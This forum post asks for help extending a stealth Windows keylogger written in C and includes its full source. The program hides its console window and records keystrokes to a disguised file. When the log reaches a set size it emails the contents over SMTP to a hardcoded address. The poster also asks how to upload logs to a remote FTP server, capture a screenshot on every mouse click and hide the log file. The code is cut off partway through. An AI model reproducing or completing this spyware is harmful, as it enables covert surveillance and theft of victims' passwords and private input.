well first the emailer doesent work very well , i use a hotmail account and i typed mx3.hotmail.com and an email and the from email i typed what ever , anyway i saw the keylogger sending the thing [ firewall ] i let it pass and the log file was deleten and rewriting again wich indicates that the mail was a sucsess according to the code [ cuz if it wasent it would not delete , it only delete if its good ] so i checked my email all was fine but when i check my junk mail and inbox i see nothing.
probably hotmail has a protection or soemthing , so to solve this problem is either give me an email provider that allows these kind of emails to be sent or a code that will save the log file "sys.sys" for example , to a remote FTP server " ftp.binrev.com " for example with username and pass and then delete the existing log and rewrites it , BTW it should send the log every say 5,000 bytes .
i need to know what to #include and stuff.
------------------
ok second question/problem
i need a code that will make a screen shot everytime a mouse click happends , a normal screenshot taker by timer can be a help .
-------------
other thing is i tryed to make my log files attributes hidden but i keep failing i use system(DOS thing)
and another problem is that when i want the log file to be in the windir
when i replace #define FileName "c:\\sys.sys" with #define FileName "%WINDIR%sys.sys" or "%WINDIR%\\sys.sys" in the first withouth the \\ i get the log file in desktop wich is named "%WINDIR%sys.sys and the second i get an error where my prog got a problem and i have to close it , tryed debugging and something about unauthorized access .
and my current code so far
[code=auto:0]/*Qownsyou
yupptiztrue*/
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <stdlib.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom, char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 100
#define cmailserver "mx3.hotmail.com"
#define cemailto "mail@hotmail.com"
#define cemailfrom "admin@whatever.com"
#define cemailsubject "The thing"
#define LogLength 500
#define FileName "c:\\sys.sys"
#define cemailsubject "The thing"
int test_key(void);
int main(void)
{
//blore
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
int t=get_keys();
return t;
}
int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");
short character;
while(1)
{
sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
printf("%i\n",character);
FILE *file;
file=fopen(FileName,"a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
case 187:
fputc('+',file);
fclose(file);
break;
case 188:
fputc(',',file);
fclose(file);
break;
case 189:
fputc('-',file);
fclose(file);
break;
case 190:
fputc('.',file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
FILE *file;
file=fopen(FileName,"rb");
fseek(file,0,SEEK_END); //go to end
len=ftell(file); //get position at end (length)
//printf("%i\n",len);
if(len>=LogLength) {
fseek(file,0,SEEK_SET); //go to beg.
buf=(char *)malloc(len); //malloc buffer
freadindex=fread(buf,1,len,file); //read into buffer
buf[freadindex] = '\0'; //Extra bit I have to add to make it a sting
printf(buf);
MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
fclose(file);
file=fopen(FileName,"w");
}
fclose(file);
//free (buf);
}
return EXIT_SUCCESS;
}
int MailIt (char *mailserver, char *emailto, char *emailfrom, char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
int bytes_sent; /* Sock FD */
int err;
struct hostent *host; /* info from gethostbyname */
struct sockaddr_in dest_addr; /* Host Address */
char line[1000];
#define bufsize 300
char *Rec_Buf=malloc(bufsize+1);
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
fprintf(stderr,"WSAStartup failed with error %d\n",WSAGetLastError());
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(25); /* PORT defined above */
/* Get socket */
/* printf ("Grabbing socket....\n"); */
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connect !*/
printf ("Connecting....\n");
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
printf (Rec_Buf);
strcpy(line,"helo me.somepalace.com\n");
printf(line);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
printf (Rec_Buf);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
printf(line);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
printf (Rec_Buf);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
printf(line);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
printf (Rec_Buf);
strcpy(line,"DATA\n");
printf(line);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
printf (Rec_Buf);
sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat











